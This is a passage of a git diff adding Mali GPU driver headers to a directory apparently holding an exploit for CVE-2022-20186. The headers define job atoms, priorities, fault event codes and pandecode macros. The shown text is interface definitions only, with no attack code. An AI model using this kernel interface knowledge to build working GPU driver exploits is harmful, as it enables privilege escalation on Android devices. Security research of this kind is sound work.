+ * resumed multiple times until it completes without memory usage exceeding the
+ * threshold.
+ *
+ * Usually used with BASE_JD_REQ_T.
+ */
+#define BASE_JD_REQ_START_RENDERPASS ((base_jd_core_req)1 << 18)
+
+/* SW-only requirement: The atom is the end of a renderpass.
+ *
+ * If this bit is set then the atom incorporates the CPU address of a
+ * base_jd_fragment object instead of the GPU address of a job chain.
+ *
+ * Which job chain is run depends upon whether the atom with the same renderpass
+ * ID and the BASE_JD_REQ_START_RENDERPASS bit set completed normally or
+ * was soft-stopped when it exceeded an upper threshold for tiler heap memory
+ * usage.
+ *
+ * It also depends upon whether one of the job chains attached to the atom has
+ * already been run as part of the same renderpass (in which case it would have
+ * written unresolved multisampled and otherwise-discarded output to temporary
+ * buffers that need to be read back). The job chain for doing a forced read and
+ * forced write (from/to temporary buffers) is run as many times as necessary.
+ *
+ * Usually used with BASE_JD_REQ_FS.
+ */
+#define BASE_JD_REQ_END_RENDERPASS ((base_jd_core_req)1 << 19)
+
+/* SW-only requirement: The atom needs to run on a limited core mask affinity.
+ *
+ * If this bit is set then the kbase_context.limited_core_mask will be applied
+ * to the affinity.
+ */
+#define BASE_JD_REQ_LIMITED_CORE_MASK ((base_jd_core_req)1 << 20)
+
+/* These requirement bits are currently unused in base_jd_core_req
+ */
+#define BASEP_JD_REQ_RESERVED \
+	(~(BASE_JD_REQ_ATOM_TYPE | BASE_JD_REQ_EXTERNAL_RESOURCES | \
+	BASE_JD_REQ_EVENT_ONLY_ON_FAILURE | BASEP_JD_REQ_EVENT_NEVER | \
+	BASE_JD_REQ_EVENT_COALESCE | \
+	BASE_JD_REQ_COHERENT_GROUP | BASE_JD_REQ_SPECIFIC_COHERENT_GROUP | \
+	BASE_JD_REQ_FS_AFBC | BASE_JD_REQ_PERMON | \
+	BASE_JD_REQ_SKIP_CACHE_START | BASE_JD_REQ_SKIP_CACHE_END | \
+	BASE_JD_REQ_JOB_SLOT | BASE_JD_REQ_START_RENDERPASS | \
+	BASE_JD_REQ_END_RENDERPASS | BASE_JD_REQ_LIMITED_CORE_MASK))
+
+/* Mask of all bits in base_jd_core_req that control the type of the atom.
+ *
+ * This allows dependency only atoms to have flags set
+ */
+#define BASE_JD_REQ_ATOM_TYPE \
+	(BASE_JD_REQ_FS | BASE_JD_REQ_CS | BASE_JD_REQ_T | BASE_JD_REQ_CF | \
+	BASE_JD_REQ_V | BASE_JD_REQ_SOFT_JOB | BASE_JD_REQ_ONLY_COMPUTE)
+
+/**
+ * Mask of all bits in base_jd_core_req that control the type of a soft job.
+ */
+#define BASE_JD_REQ_SOFT_JOB_TYPE (BASE_JD_REQ_SOFT_JOB | 0x1f)
+
+/* Returns non-zero value if core requirements passed define a soft job or
+ * a dependency only job.
+ */
+#define BASE_JD_REQ_SOFT_JOB_OR_DEP(core_req) \
+	(((core_req) & BASE_JD_REQ_SOFT_JOB) || \
+	((core_req) & BASE_JD_REQ_ATOM_TYPE) == BASE_JD_REQ_DEP)
+
+/**
+ * enum kbase_jd_atom_state
+ *
+ * @KBASE_JD_ATOM_STATE_UNUSED: Atom is not used.
+ * @KBASE_JD_ATOM_STATE_QUEUED: Atom is queued in JD.
+ * @KBASE_JD_ATOM_STATE_IN_JS:  Atom has been given to JS (is runnable/running).
+ * @KBASE_JD_ATOM_STATE_HW_COMPLETED: Atom has been completed, but not yet
+ *                                    handed back to job dispatcher for
+ *                                    dependency resolution.
+ * @KBASE_JD_ATOM_STATE_COMPLETED: Atom has been completed, but not yet handed
+ *                                 back to userspace.
+ */
+enum kbase_jd_atom_state {
+	KBASE_JD_ATOM_STATE_UNUSED,
+	KBASE_JD_ATOM_STATE_QUEUED,
+	KBASE_JD_ATOM_STATE_IN_JS,
+	KBASE_JD_ATOM_STATE_HW_COMPLETED,
+	KBASE_JD_ATOM_STATE_COMPLETED
+};
+
+/**
+ * typedef base_atom_id - Type big enough to store an atom number in.
+ */
+typedef __u8 base_atom_id;
+
+/**
+ * struct base_dependency -
+ *
+ * @atom_id:         An atom number
+ * @dependency_type: Dependency type
+ */
+struct base_dependency {
+	base_atom_id atom_id;
+	base_jd_dep_type dependency_type;
+};
+
+/**
+ * struct base_jd_fragment - Set of GPU fragment job chains used for rendering.
+ *
+ * @norm_read_norm_write: Job chain for full rendering.
+ *                        GPU address of a fragment job chain to render in the
+ *                        circumstance where the tiler job chain did not exceed
+ *                        its memory usage threshold and no fragment job chain
+ *                        was previously run for the same renderpass.
+ *                        It is used no more than once per renderpass.
+ * @norm_read_forced_write: Job chain for starting incremental
+ *                          rendering.
+ *                          GPU address of a fragment job chain to render in
+ *                          the circumstance where the tiler job chain exceeded
+ *                          its memory usage threshold for the first time and
+ *                          no fragment job chain was previously run for the
+ *                          same renderpass.
+ *                          Writes unresolved multisampled and normally-
+ *                          discarded output to temporary buffers that must be
+ *                          read back by a subsequent forced_read job chain
+ *                          before the renderpass is complete.
+ *                          It is used no more than once per renderpass.
+ * @forced_read_forced_write: Job chain for continuing incremental
+ *                            rendering.
+ *                            GPU address of a fragment job chain to render in
+ *                            the circumstance where the tiler job chain
+ *                            exceeded its memory usage threshold again
+ *                            and a fragment job chain was previously run for
+ *                            the same renderpass.
+ *                            Reads unresolved multisampled and
+ *                            normally-discarded output from temporary buffers
+ *                            written by a previous forced_write job chain and
+ *                            writes the same to temporary buffers again.
+ *                            It is used as many times as required until
+ *                            rendering completes.
+ * @forced_read_norm_write: Job chain for ending incremental rendering.
+ *                          GPU address of a fragment job chain to render in the
+ *                          circumstance where the tiler job chain did not
+ *                          exceed its memory usage threshold this time and a
+ *                          fragment job chain was previously run for the same
+ *                          renderpass.
+ *                          Reads unresolved multisampled and normally-discarded
+ *                          output from temporary buffers written by a previous
+ *                          forced_write job chain in order to complete a
+ *                          renderpass.
+ *                          It is used no more than once per renderpass.
+ *
+ * This structure is referenced by the main atom structure if
+ * BASE_JD_REQ_END_RENDERPASS is set in the base_jd_core_req.
+ */
+struct base_jd_fragment {
+	__u64 norm_read_norm_write;
+	__u64 norm_read_forced_write;
+	__u64 forced_read_forced_write;
+	__u64 forced_read_norm_write;
+};
+
+/**
+ * typedef base_jd_prio - Base Atom priority.
+ *
+ * Only certain priority levels are actually implemented, as specified by the
+ * BASE_JD_PRIO_<...> definitions below. It is undefined to use a priority
+ * level that is not one of those defined below.
+ *
+ * Priority levels only affect scheduling after the atoms have had dependencies
+ * resolved. For example, a low priority atom that has had its dependencies
+ * resolved might run before a higher priority atom that has not had its
+ * dependencies resolved.
+ *
+ * In general, fragment atoms do not affect non-fragment atoms with
+ * lower priorities, and vice versa. One exception is that there is only one
+ * priority value for each context. So a high-priority (e.g.) fragment atom
+ * could increase its context priority, causing its non-fragment atoms to also
+ * be scheduled sooner.
+ *
+ * The atoms are scheduled as follows with respect to their priorities:
+ * * Let atoms 'X' and 'Y' be for the same job slot who have dependencies
+ *   resolved, and atom 'X' has a higher priority than atom 'Y'
+ * * If atom 'Y' is currently running on the HW, then it is interrupted to
+ *   allow atom 'X' to run soon after
+ * * If instead neither atom 'Y' nor atom 'X' are running, then when choosing
+ *   the next atom to run, atom 'X' will always be chosen instead of atom 'Y'
+ * * Any two atoms that have the same priority could run in any order with
+ *   respect to each other. That is, there is no ordering constraint between
+ *   atoms of the same priority.
+ *
+ * The sysfs file 'js_ctx_scheduling_mode' is used to control how atoms are
+ * scheduled between contexts. The default value, 0, will cause higher-priority
+ * atoms to be scheduled first, regardless of their context. The value 1 will
+ * use a round-robin algorithm when deciding which context's atoms to schedule
+ * next, so higher-priority atoms can only preempt lower priority atoms within
+ * the same context. See KBASE_JS_SYSTEM_PRIORITY_MODE and
+ * KBASE_JS_PROCESS_LOCAL_PRIORITY_MODE for more details.
+ */
+typedef __u8 base_jd_prio;
+
+/* Medium atom priority. This is a priority higher than BASE_JD_PRIO_LOW */
+#define BASE_JD_PRIO_MEDIUM  ((base_jd_prio)0)
+/* High atom priority. This is a priority higher than BASE_JD_PRIO_MEDIUM and
+ * BASE_JD_PRIO_LOW
+ */
+#define BASE_JD_PRIO_HIGH    ((base_jd_prio)1)
+/* Low atom priority. */
+#define BASE_JD_PRIO_LOW     ((base_jd_prio)2)
+/* Real-Time atom priority. This is a priority higher than BASE_JD_PRIO_HIGH,
+ * BASE_JD_PRIO_MEDIUM, and BASE_JD_PRIO_LOW
+ */
+#define BASE_JD_PRIO_REALTIME    ((base_jd_prio)3)
+
+/* Count of the number of priority levels. This itself is not a valid
+ * base_jd_prio setting
+ */
+#define BASE_JD_NR_PRIO_LEVELS 4
+
+/**
+ * struct base_jd_atom_v2 - Node of a dependency graph used to submit a
+ *                          GPU job chain or soft-job to the kernel driver.
+ *
+ * @jc:            GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS
+ *                 is set in the base_jd_core_req) the CPU address of a
+ *                 base_jd_fragment object.
+ * @udata:         User data.
+ * @extres_list:   List of external resources.
+ * @nr_extres:     Number of external resources or JIT allocations.
+ * @jit_id:        Zero-terminated array of IDs of just-in-time memory
+ *                 allocations written to by the atom. When the atom
+ *                 completes, the value stored at the
+ *                 &struct_base_jit_alloc_info.heap_info_gpu_addr of
+ *                 each allocation is read in order to enforce an
+ *                 overall physical memory usage limit.
+ * @pre_dep:       Pre-dependencies. One need to use SETTER function to assign
+ *                 this field; this is done in order to reduce possibility of
+ *                 improper assignment of a dependency field.
+ * @atom_number:   Unique number to identify the atom.
+ * @prio:          Atom priority. Refer to base_jd_prio for more details.
+ * @device_nr:     Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP
+ *                 specified.
+ * @jobslot:       Job slot to use when BASE_JD_REQ_JOB_SLOT is specified.
+ * @core_req:      Core requirements.
+ * @renderpass_id: Renderpass identifier used to associate an atom that has
+ *                 BASE_JD_REQ_START_RENDERPASS set in its core requirements
+ *                 with an atom that has BASE_JD_REQ_END_RENDERPASS set.
+ * @padding:       Unused. Must be zero.
+ *
+ * This structure has changed since UK 10.2 for which base_jd_core_req was a
+ * __u16 value.
+ *
+ * In UK 10.3 a core_req field of a __u32 type was added to the end of the
+ * structure, and the place in the structure previously occupied by __u16
+ * core_req was kept but renamed to compat_core_req.
+ *
+ * From UK 11.20 - compat_core_req is now occupied by __u8 jit_id[2].
+ * Compatibility with UK 10.x from UK 11.y is not handled because
+ * the major version increase prevents this.
+ *
+ * For UK 11.20 jit_id[2] must be initialized to zero.
+ */
+struct base_jd_atom_v2 {
+	__u64 jc;
+	struct base_jd_udata udata;
+	__u64 extres_list;
+	__u16 nr_extres;
+	__u8 jit_id[2];
+	struct base_dependency pre_dep[2];
+	base_atom_id atom_number;
+	base_jd_prio prio;
+	__u8 device_nr;
+	__u8 jobslot;
+	base_jd_core_req core_req;
+	__u8 renderpass_id;
+	__u8 padding[7];
+};
+
+/**
+ * struct base_jd_atom - Same as base_jd_atom_v2, but has an extra seq_nr
+ *                          at the beginning.
+ *
+ * @seq_nr:        Sequence number of logical grouping of atoms.
+ * @jc:            GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS
+ *                 is set in the base_jd_core_req) the CPU address of a
+ *                 base_jd_fragment object.
+ * @udata:         User data.
+ * @extres_list:   List of external resources.
+ * @nr_extres:     Number of external resources or JIT allocations.
+ * @jit_id:        Zero-terminated array of IDs of just-in-time memory
+ *                 allocations written to by the atom. When the atom
+ *                 completes, the value stored at the
+ *                 &struct_base_jit_alloc_info.heap_info_gpu_addr of
+ *                 each allocation is read in order to enforce an
+ *                 overall physical memory usage limit.
+ * @pre_dep:       Pre-dependencies. One need to use SETTER function to assign
+ *                 this field; this is done in order to reduce possibility of
+ *                 improper assignment of a dependency field.
+ * @atom_number:   Unique number to identify the atom.
+ * @prio:          Atom priority. Refer to base_jd_prio for more details.
+ * @device_nr:     Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP
+ *                 specified.
+ * @jobslot:       Job slot to use when BASE_JD_REQ_JOB_SLOT is specified.
+ * @core_req:      Core requirements.
+ * @renderpass_id: Renderpass identifier used to associate an atom that has
+ *                 BASE_JD_REQ_START_RENDERPASS set in its core requirements
+ *                 with an atom that has BASE_JD_REQ_END_RENDERPASS set.
+ * @padding:       Unused. Must be zero.
+ */
+typedef struct base_jd_atom {
+	__u64 seq_nr;
+	__u64 jc;
+	struct base_jd_udata udata;
+	__u64 extres_list;
+	__u16 nr_extres;
+	__u8 jit_id[2];
+	struct base_dependency pre_dep[2];
+	base_atom_id atom_number;
+	base_jd_prio prio;
+	__u8 device_nr;
+	__u8 jobslot;
+	base_jd_core_req core_req;
+	__u8 renderpass_id;
+	__u8 padding[7];
+} base_jd_atom;
+
+/* Job chain event code bits
+ * Defines the bits used to create ::base_jd_event_code
+ */
+enum {
+	BASE_JD_SW_EVENT_KERNEL = (1u << 15), /* Kernel side event */
+	BASE_JD_SW_EVENT = (1u << 14), /* SW defined event */
+	/* Event indicates success (SW events only) */
+	BASE_JD_SW_EVENT_SUCCESS = (1u << 13),
+	BASE_JD_SW_EVENT_JOB = (0u << 11), /* Job related event */
+	BASE_JD_SW_EVENT_BAG = (1u << 11), /* Bag related event */
+	BASE_JD_SW_EVENT_INFO = (2u << 11), /* Misc/info event */
+	BASE_JD_SW_EVENT_RESERVED = (3u << 11),	/* Reserved event type */
+	/* Mask to extract the type from an event code */
+	BASE_JD_SW_EVENT_TYPE_MASK = (3u << 11)
+};
+
+/**
+ * enum base_jd_event_code - Job chain event codes
+ *
+ * @BASE_JD_EVENT_RANGE_HW_NONFAULT_START: Start of hardware non-fault status
+ *                                         codes.
+ *                                         Obscurely, BASE_JD_EVENT_TERMINATED
+ *                                         indicates a real fault, because the
+ *                                         job was hard-stopped.
+ * @BASE_JD_EVENT_NOT_STARTED: Can't be seen by userspace, treated as
+ *                             'previous job done'.
+ * @BASE_JD_EVENT_STOPPED:     Can't be seen by userspace, becomes
+ *                             TERMINATED, DONE or JOB_CANCELLED.
+ * @BASE_JD_EVENT_TERMINATED:  This is actually a fault status code - the job
+ *                             was hard stopped.
+ * @BASE_JD_EVENT_ACTIVE: Can't be seen by userspace, jobs only returned on
+ *                        complete/fail/cancel.
+ * @BASE_JD_EVENT_RANGE_HW_NONFAULT_END: End of hardware non-fault status codes.
+ *                                       Obscurely, BASE_JD_EVENT_TERMINATED
+ *                                       indicates a real fault,
+ *                                       because the job was hard-stopped.
+ * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START: Start of hardware fault and
+ *                                                  software error status codes.
+ * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END: End of hardware fault and
+ *                                                software error status codes.
+ * @BASE_JD_EVENT_RANGE_SW_SUCCESS_START: Start of software success status
+ *                                        codes.
+ * @BASE_JD_EVENT_RANGE_SW_SUCCESS_END: End of software success status codes.
+ * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_START: Start of kernel-only status codes.
+ *                                         Such codes are never returned to
+ *                                         user-space.
+ * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_END: End of kernel-only status codes.
+ * @BASE_JD_EVENT_DONE: atom has completed successfull
+ * @BASE_JD_EVENT_JOB_CONFIG_FAULT: Atom dependencies configuration error which
+ *                                  shall result in a failed atom
+ * @BASE_JD_EVENT_JOB_POWER_FAULT:  The job could not be executed because the
+ *                                  part of the memory system required to access
+ *                                  job descriptors was not powered on
+ * @BASE_JD_EVENT_JOB_READ_FAULT:   Reading a job descriptor into the Job
+ *                                  manager failed
+ * @BASE_JD_EVENT_JOB_WRITE_FAULT:  Writing a job descriptor from the Job
+ *                                  manager failed
+ * @BASE_JD_EVENT_JOB_AFFINITY_FAULT: The job could not be executed because the
+ *                                    specified affinity mask does not intersect
+ *                                    any available cores
+ * @BASE_JD_EVENT_JOB_BUS_FAULT:    A bus access failed while executing a job
+ * @BASE_JD_EVENT_INSTR_INVALID_PC: A shader instruction with an illegal program
+ *                                  counter was executed.
+ * @BASE_JD_EVENT_INSTR_INVALID_ENC: A shader instruction with an illegal
+ *                                  encoding was executed.
+ * @BASE_JD_EVENT_INSTR_TYPE_MISMATCH: A shader instruction was executed where
+ *                                  the instruction encoding did not match the
+ *                                  instruction type encoded in the program
+ *                                  counter.
+ * @BASE_JD_EVENT_INSTR_OPERAND_FAULT: A shader instruction was executed that
+ *                                  contained invalid combinations of operands.
+ * @BASE_JD_EVENT_INSTR_TLS_FAULT:  A shader instruction was executed that tried
+ *                                  to access the thread local storage section
+ *                                  of another thread.
+ * @BASE_JD_EVENT_INSTR_ALIGN_FAULT: A shader instruction was executed that
+ *                                  tried to do an unsupported unaligned memory
+ *                                  access.
+ * @BASE_JD_EVENT_INSTR_BARRIER_FAULT: A shader instruction was executed that
+ *                                  failed to complete an instruction barrier.
+ * @BASE_JD_EVENT_DATA_INVALID_FAULT: Any data structure read as part of the job
+ *                                  contains invalid combinations of data.
+ * @BASE_JD_EVENT_TILE_RANGE_FAULT: Tile or fragment shading was asked to
+ *                                  process a tile that is entirely outside the
+ *                                  bounding box of the frame.
+ * @BASE_JD_EVENT_STATE_FAULT:      Matches ADDR_RANGE_FAULT. A virtual address
+ *                                  has been found that exceeds the virtual
+ *                                  address range.
+ * @BASE_JD_EVENT_OUT_OF_MEMORY:    The tiler ran out of memory when executing a job.
+ * @BASE_JD_EVENT_UNKNOWN:          If multiple jobs in a job chain fail, only
+ *                                  the first one the reports an error will set
+ *                                  and return full error information.
+ *                                  Subsequent failing jobs will not update the
+ *                                  error status registers, and may write an
+ *                                  error status of UNKNOWN.
+ * @BASE_JD_EVENT_DELAYED_BUS_FAULT: The GPU received a bus fault for access to
+ *                                  physical memory where the original virtual
+ *                                  address is no longer available.
+ * @BASE_JD_EVENT_SHAREABILITY_FAULT: Matches GPU_SHAREABILITY_FAULT. A cache
+ *                                  has detected that the same line has been
+ *                                  accessed as both shareable and non-shareable
+ *                                  memory from inside the GPU.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1: A memory access hit an invalid table
+ *                                  entry at level 1 of the translation table.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2: A memory access hit an invalid table
+ *                                  entry at level 2 of the translation table.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3: A memory access hit an invalid table
+ *                                  entry at level 3 of the translation table.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4: A memory access hit an invalid table
+ *                                  entry at level 4 of the translation table.
+ * @BASE_JD_EVENT_PERMISSION_FAULT: A memory access could not be allowed due to
+ *                                  the permission flags set in translation
+ *                                  table
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1: A bus fault occurred while reading
+ *                                  level 0 of the translation tables.
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2: A bus fault occurred while reading
+ *                                  level 1 of the translation tables.
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3: A bus fault occurred while reading
+ *                                  level 2 of the translation tables.
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4: A bus fault occurred while reading
+ *                                  level 3 of the translation tables.
+ * @BASE_JD_EVENT_ACCESS_FLAG:      Matches ACCESS_FLAG_0. A memory access hit a
+ *                                  translation table entry with the ACCESS_FLAG
+ *                                  bit set to zero in level 0 of the
+ *                                  page table, and the DISABLE_AF_FAULT flag
+ *                                  was not set.
+ * @BASE_JD_EVENT_MEM_GROWTH_FAILED: raised for JIT_ALLOC atoms that failed to
+ *                                   grow memory on demand
+ * @BASE_JD_EVENT_JOB_CANCELLED: raised when this atom was hard-stopped or its
+ *                               dependencies failed
+ * @BASE_JD_EVENT_JOB_INVALID: raised for many reasons, including invalid data
+ *                             in the atom which overlaps with
+ *                             BASE_JD_EVENT_JOB_CONFIG_FAULT, or if the
+ *                             platform doesn't support the feature specified in
+ *                             the atom.
+ * @BASE_JD_EVENT_PM_EVENT:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_TIMED_OUT:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_BAG_INVALID:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_PROGRESS_REPORT:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_BAG_DONE:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_DRV_TERMINATED: this is a special event generated to indicate
+ *                                to userspace that the KBase context has been
+ *                                destroyed and Base should stop listening for
+ *                                further events
+ * @BASE_JD_EVENT_REMOVED_FROM_NEXT: raised when an atom that was configured in
+ *                                   the GPU has to be retried (but it has not
+ *                                   started) due to e.g., GPU reset
+ * @BASE_JD_EVENT_END_RP_DONE: this is used for incremental rendering to signal
+ *                             the completion of a renderpass. This value
+ *                             shouldn't be returned to userspace but I haven't
+ *                             seen where it is reset back to JD_EVENT_DONE.
+ *
+ * HW and low-level SW events are represented by event codes.
+ * The status of jobs which succeeded are also represented by
+ * an event code (see @BASE_JD_EVENT_DONE).
+ * Events are usually reported as part of a &struct base_jd_event.
+ *
+ * The event codes are encoded in the following way:
+ * * 10:0  - subtype
+ * * 12:11 - type
+ * * 13    - SW success (only valid if the SW bit is set)
+ * * 14    - SW event (HW event if not set)
+ * * 15    - Kernel event (should never be seen in userspace)
+ *
+ * Events are split up into ranges as follows:
+ * * BASE_JD_EVENT_RANGE_<description>_START
+ * * BASE_JD_EVENT_RANGE_<description>_END
+ *
+ * code is in <description>'s range when:
+ * BASE_JD_EVENT_RANGE_<description>_START <= code <
+ *   BASE_JD_EVENT_RANGE_<description>_END
+ *
+ * Ranges can be asserted for adjacency by testing that the END of the previous
+ * is equal to the START of the next. This is useful for optimizing some tests
+ * for range.
+ *
+ * A limitation is that the last member of this enum must explicitly be handled
+ * (with an assert-unreachable statement) in switch statements that use
+ * variables of this type. Otherwise, the compiler warns that we have not
+ * handled that enum value.
+ */
+enum base_jd_event_code {
+	/* HW defined exceptions */
+	BASE_JD_EVENT_RANGE_HW_NONFAULT_START = 0,
+
+	/* non-fatal exceptions */
+	BASE_JD_EVENT_NOT_STARTED = 0x00,
+	BASE_JD_EVENT_DONE = 0x01,
+	BASE_JD_EVENT_STOPPED = 0x03,
+	BASE_JD_EVENT_TERMINATED = 0x04,
+	BASE_JD_EVENT_ACTIVE = 0x08,
+
+	BASE_JD_EVENT_RANGE_HW_NONFAULT_END = 0x40,
+	BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START = 0x40,
+
+	/* job exceptions */
+	BASE_JD_EVENT_JOB_CONFIG_FAULT = 0x40,
+	BASE_JD_EVENT_JOB_POWER_FAULT = 0x41,
+	BASE_JD_EVENT_JOB_READ_FAULT = 0x42,
+	BASE_JD_EVENT_JOB_WRITE_FAULT = 0x43,
+	BASE_JD_EVENT_JOB_AFFINITY_FAULT = 0x44,
+	BASE_JD_EVENT_JOB_BUS_FAULT = 0x48,
+	BASE_JD_EVENT_INSTR_INVALID_PC = 0x50,
+	BASE_JD_EVENT_INSTR_INVALID_ENC = 0x51,
+	BASE_JD_EVENT_INSTR_TYPE_MISMATCH = 0x52,
+	BASE_JD_EVENT_INSTR_OPERAND_FAULT = 0x53,
+	BASE_JD_EVENT_INSTR_TLS_FAULT = 0x54,
+	BASE_JD_EVENT_INSTR_BARRIER_FAULT = 0x55,
+	BASE_JD_EVENT_INSTR_ALIGN_FAULT = 0x56,
+	BASE_JD_EVENT_DATA_INVALID_FAULT = 0x58,
+	BASE_JD_EVENT_TILE_RANGE_FAULT = 0x59,
+	BASE_JD_EVENT_STATE_FAULT = 0x5A,
+	BASE_JD_EVENT_OUT_OF_MEMORY = 0x60,
+	BASE_JD_EVENT_UNKNOWN = 0x7F,
+
+	/* GPU exceptions */
+	BASE_JD_EVENT_DELAYED_BUS_FAULT = 0x80,
+	BASE_JD_EVENT_SHAREABILITY_FAULT = 0x88,
+
+	/* MMU exceptions */
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1 = 0xC1,
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2 = 0xC2,
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3 = 0xC3,
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4 = 0xC4,
+	BASE_JD_EVENT_PERMISSION_FAULT = 0xC8,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1 = 0xD1,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2 = 0xD2,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3 = 0xD3,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4 = 0xD4,
+	BASE_JD_EVENT_ACCESS_FLAG = 0xD8,
+
+	/* SW defined exceptions */
+	BASE_JD_EVENT_MEM_GROWTH_FAILED =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x000,
+	BASE_JD_EVENT_TIMED_OUT =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x001,
+	BASE_JD_EVENT_JOB_CANCELLED =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x002,
+	BASE_JD_EVENT_JOB_INVALID =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x003,
+	BASE_JD_EVENT_PM_EVENT =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x004,
+
+	BASE_JD_EVENT_BAG_INVALID =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_BAG | 0x003,
+
+	BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_RESERVED | 0x3FF,
+
+	BASE_JD_EVENT_RANGE_SW_SUCCESS_START = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | 0x000,
+
+	BASE_JD_EVENT_PROGRESS_REPORT = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_JOB | 0x000,
+	BASE_JD_EVENT_BAG_DONE = BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_SUCCESS |
+		BASE_JD_SW_EVENT_BAG | 0x000,
+	BASE_JD_EVENT_DRV_TERMINATED = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_INFO | 0x000,
+
+	BASE_JD_EVENT_RANGE_SW_SUCCESS_END = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_RESERVED | 0x3FF,
+
+	BASE_JD_EVENT_RANGE_KERNEL_ONLY_START = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | 0x000,
+	BASE_JD_EVENT_REMOVED_FROM_NEXT = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x000,
+	BASE_JD_EVENT_END_RP_DONE = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x001,
+
+	BASE_JD_EVENT_RANGE_KERNEL_ONLY_END = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_RESERVED | 0x3FF
+};
+
+/**
+ * struct base_jd_event_v2 - Event reporting structure
+ *
+ * @event_code:  event code.
+ * @atom_number: the atom number that has completed.
+ * @udata:       user data.
+ *
+ * This structure is used by the kernel driver to report information
+ * about GPU events. They can either be HW-specific events or low-level
+ * SW events, such as job-chain completion.
+ *
+ * The event code contains an event type field which can be extracted
+ * by ANDing with BASE_JD_SW_EVENT_TYPE_MASK.
+ */
+struct base_jd_event_v2 {
+	enum base_jd_event_code event_code;
+	base_atom_id atom_number;
+	struct base_jd_udata udata;
+};
+
+/**
+ * struct base_dump_cpu_gpu_counters - Structure for
+ *                                     BASE_JD_REQ_SOFT_DUMP_CPU_GPU_COUNTERS
+ *                                     jobs.
+ * @system_time:   gpu timestamp
+ * @cycle_counter: gpu cycle count
+ * @sec:           cpu time(sec)
+ * @usec:          cpu time(usec)
+ * @padding:       padding
+ *
+ * This structure is stored into the memory pointed to by the @jc field
+ * of &struct base_jd_atom.
+ *
+ * It must not occupy the same CPU cache line(s) as any neighboring data.
+ * This is to avoid cases where access to pages containing the structure
+ * is shared between cached and un-cached memory regions, which would
+ * cause memory corruption.
+ */
+
+struct base_dump_cpu_gpu_counters {
+	__u64 system_time;
+	__u64 cycle_counter;
+	__u64 sec;
+	__u32 usec;
+	__u8 padding[36];
+};
+
+#endif /* _UAPI_BASE_JM_KERNEL_H_ */
+
diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/midgard.h b/SecurityExploits/Android/Mali/CVE_2022_20186/midgard.h
new file mode 100644
index 0000000..e0ce432
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_20186/midgard.h
@@ -0,0 +1,260 @@
+#ifndef MIDGARD_H
+#define MIDGARD_H
+
+//Generated using pandecode-standalone: https://gitlab.freedesktop.org/panfrost/pandecode-standalone
+
+#include <stdio.h>
+#include <stdint.h>
+#include <stdbool.h>
+#include <assert.h>
+#include <math.h>
+#include <inttypes.h>
+#include <string.h>
+
+#define pan_section_ptr(base, A, S) \
+        ((void *)((uint8_t *)(base) + MALI_ ## A ## _SECTION_ ## S ## _OFFSET))
+
+#define pan_section_pack(dst, A, S, name)                                                         \
+   for (MALI_ ## A ## _SECTION_ ## S ## _TYPE name = { MALI_ ## A ## _SECTION_ ## S ## _header }, \
+        *_loop_terminate = (void *) (dst);                                                        \
+        __builtin_expect(_loop_terminate != NULL, 1);                                             \
+        ({ MALI_ ## A ## _SECTION_ ## S ## _pack(pan_section_ptr(dst, A, S), &name);              \
